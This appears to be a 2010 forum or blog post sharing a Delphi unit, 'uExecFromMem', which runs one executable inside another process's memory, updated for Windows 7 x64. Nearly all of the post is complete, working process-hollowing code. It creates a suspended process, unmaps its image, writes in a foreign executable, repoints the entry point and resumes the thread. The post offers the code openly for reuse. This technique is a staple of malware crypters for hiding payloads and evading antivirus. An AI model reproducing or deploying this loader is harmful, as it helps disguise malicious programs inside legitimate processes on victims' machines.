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Post date: Jul 15, 2010 10:19:08 PM
uExecFromMem by steve10120 - fixed for Win7x64 by testest
The original uExecFromMem unit reported an error 487 "Attempt to access an invalid address" inside a Windows 7 environment due to the Context not being DWORD aligned. Testest fixed this by using his Get4ByteAlignedContext function to retreive a four byte aligned Context. Parameter support has also been added.
This delphi unit is now the perfect example of dynamically forking the Windows 32 executable featuring, support for all operating systems [XP, Vista, 7; 32, 64] and memory execution of multiple portable executables (available due to the PerformBaseRelocation function).
{ uExecFromMem
Author: steve10120
Description: Run an executable from another's memory.
Credits: Tan Chew Keong: Dynamic Forking of Win32 EXE; Author of BTMemoryModule: PerformBaseRelocation().
Reference: http://www.security.org.sg/code/loadexe.html
Release Date: 26th August 2009
Website: http://ic0de.org
History: First try
Additions by testest 15th July 2010:
- Parameter support
- Win7 x64 support
}
unit uExecFromMem;
interface
uses Windows;
function ExecuteFromMem(szFilePath, szParams: string; pFile: Pointer):DWORD;
implementation
function NtUnmapViewOfSection(ProcessHandle:DWORD; BaseAddress:Pointer):DWORD; stdcall; external 'ntdll';
type
PImageBaseRelocation = ^TImageBaseRelocation;
TImageBaseRelocation = packed record
VirtualAddress: DWORD;
SizeOfBlock: DWORD;
end;
procedure PerformBaseRelocation(f_module: Pointer; INH:PImageNtHeaders; f_delta: Cardinal); stdcall;
var
l_i: Cardinal;
l_codebase: Pointer;
l_relocation: PImageBaseRelocation;
l_dest: Pointer;
l_relInfo: ^Word;
l_patchAddrHL: ^DWord;
l_type, l_offset: integer;
begin
l_codebase := f_module;
if INH^.OptionalHeader.DataDirectory[5].Size > 0 then
begin
l_relocation := PImageBaseRelocation(Cardinal(l_codebase) + INH^.OptionalHeader.DataDirectory[5].VirtualAddress);
while l_relocation.VirtualAddress > 0 do
begin
l_dest := Pointer((Cardinal(l_codebase) + l_relocation.VirtualAddress));
l_relInfo := Pointer(Cardinal(l_relocation) + 8);
for l_i := 0 to (trunc(((l_relocation.SizeOfBlock - 8) / 2)) - 1) do
begin
l_type := (l_relInfo^ shr 12);
l_offset := l_relInfo^ and $FFF;
if l_type = 3 then
begin
l_patchAddrHL := Pointer(Cardinal(l_dest) + Cardinal(l_offset));
l_patchAddrHL^ := l_patchAddrHL^ + f_delta;
end;
inc(l_relInfo);
end;
l_relocation := Pointer(cardinal(l_relocation) + l_relocation.SizeOfBlock);
end;
end;
end;
function AlignImage(pImage:Pointer):Pointer;
var
IDH: PImageDosHeader;
INH: PImageNtHeaders;
ISH: PImageSectionHeader;
i: WORD;
begin
IDH := pImage;
INH := Pointer(Integer(pImage) + IDH^._lfanew);
GetMem(Result, INH^.OptionalHeader.SizeOfImage);
ZeroMemory(Result, INH^.OptionalHeader.SizeOfImage);
CopyMemory(Result, pImage, INH^.OptionalHeader.SizeOfHeaders);
for i := 0 to INH^.FileHeader.NumberOfSections - 1 do
begin
ISH := Pointer(Integer(pImage) + IDH^._lfanew + 248 + i * 40);
CopyMemory(Pointer(DWORD(Result) + ISH^.VirtualAddress), Pointer(DWORD(pImage) + ISH^.PointerToRawData), ISH^.SizeOfRawData);
end;
end;
function Get4ByteAlignedContext(var Base: PContext): PContext;
begin
Base := VirtualAlloc(nil, SizeOf(TContext) + 4, MEM_COMMIT, PAGE_READWRITE);
Result := Base;
if Base <> nil then
while ((DWORD(Result) mod 4) <> 0) do
Result := Pointer(DWORD(Result) + 1);
end;
function ExecuteFromMem(szFilePath, szParams:string; pFile:Pointer):DWORD;
var
PI: TProcessInformation;
SI: TStartupInfo;
CT: PContext;
CTBase: PContext;
IDH: PImageDosHeader;
INH: PImageNtHeaders;
dwImageBase: DWORD;
pModule: Pointer;
dwNull: DWORD;
begin
if szParams <> '' then szParams := '"'+szFilePath+'" '+szParams;
Result := 0;
IDH := pFile;
if IDH^.e_magic = IMAGE_DOS_SIGNATURE then
begin
INH := Pointer(Integer(pFile) + IDH^._lfanew);
if INH^.Signature = IMAGE_NT_SIGNATURE then
begin
FillChar(SI, SizeOf(TStartupInfo), #0);
FillChar(PI, SizeOf(TProcessInformation), #0);
SI.cb := SizeOf(TStartupInfo);
if CreateProcess(PChar(szFilePath), PChar(szParams), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then
begin
CT := Get4ByteAlignedContext(CTBase);
if CT <> nil then
begin
CT.ContextFlags := CONTEXT_FULL;
if GetThreadContext(PI.hThread, CT^) then
begin
ReadProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @dwImageBase, 4, dwNull);
if dwImageBase = INH^.OptionalHeader.ImageBase then
begin
if NtUnmapViewOfSection(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase)) = 0 then
pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
else
pModule := VirtualAllocEx(PI.hProcess, nil, INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
end
else
pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if pModule <> nil then
begin
pFile := AlignImage(pFile);
if DWORD(pModule) <> INH^.OptionalHeader.ImageBase then
begin
PerformBaseRelocation(pFile, INH, (DWORD(pModule) - INH^.OptionalHeader.ImageBase));
INH^.OptionalHeader.ImageBase := DWORD(pModule);
CopyMemory(Pointer(Integer(pFile) + IDH^._lfanew), INH, 248);
end;
WriteProcessMemory(PI.hProcess, pModule, pFile, INH.OptionalHeader.SizeOfImage, dwNull);
WriteProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @pModule, 4, dwNull);
CT.Eax := DWORD(pModule) + INH^.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, CT^);
ResumeThread(PI.hThread);
Result := PI.hThread;
end;
end;
VirtualFree(CTBase, 0, MEM_RELEASE);
end;
if Result = 0 then
TerminateProcess(PI.hProcess, 0);
end;
end;
end;
end;
end.